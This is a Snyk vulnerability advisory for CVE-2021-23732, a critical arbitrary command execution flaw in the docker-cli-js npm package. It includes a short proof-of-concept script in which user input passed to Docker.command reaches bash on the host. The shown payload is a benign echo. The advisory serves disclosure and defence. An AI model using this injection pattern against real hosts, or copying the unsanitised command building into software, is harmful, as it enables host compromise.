CRITICAL

🔍 Search by package name or CVE

Arbitrary Code Execution

Affecting docker-cli-js package, versions *

INTRODUCED: 23 AUG 2021   CVE-2021-23732 ❓   CWE-94 ❓   (FIRST ADDED BY SNYK)

Share ⌄

How to fix?

There is no fixed version for `docker-cli-js` .

Overview

Affected versions of this package are vulnerable to Arbitrary Code Execution. If the `command` parameter of the `Docker.command` method can at least be partially controlled by a user, they will be in a position to execute any arbitrary OS commands on the host system.

Steps to Reproduce

1. Create a file named `exploit.js` with the following content:

```
var dockerCLI = require('docker-cli-js'); var DockerOptions = dockerCLI.Options; var Docker =
dockerCLI.Docker; var docker = new Docker(); var userInput = "echo 'Hello from the container'";

docker.command(exec container-test bash -c &quot;${userInput}&quot;, function (err, data) {
console.log('data = ', data); });
```

2. In the same directory as `exploit.js` , run `npm install docker-cli-js` .

3. Create a background Docker container named `container-test` : `docker run --name container-test -d ubuntu sleep 1000`

4. Run `exploit.js` : `node exploit.js` .

You should see the outputs of both the container and host system.

Snyk CVSS

Attack Complexity	High ❓
Scope	Changed ❓
Confidentiality	HIGH ❓
Integrity	HIGH ❓
Availability	HIGH ❓

See more

› NVD   (9 CRITICAL)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

🎓 Snyk Learn

Learn about Arbitrary Code Execution vulnerabilities in an interactive lesson.

Start learning

Snyk ID	SNYK-JS-DOCKERCLIJS-1568516
Published	2 Nov 2021
Disclosed	23 Aug 2021
Credit	Paul-Emmanuel Raoul of SkypLabs

Report a new vulnerability   Found a mistake?

RESOURCES

Vulnerability DB

Documentation

Disclosed Vulnerabilities

Blog

FAQs

COMPANY

About

Jobs

Contact

Policies

Do Not Sell My Personal Information

CONTACT US

Support

Report a new vuln

Press Kit

Events

FIND US ONLINE

TRACK OUR DEVELOPMENT

DevSecCon

Join the >>
community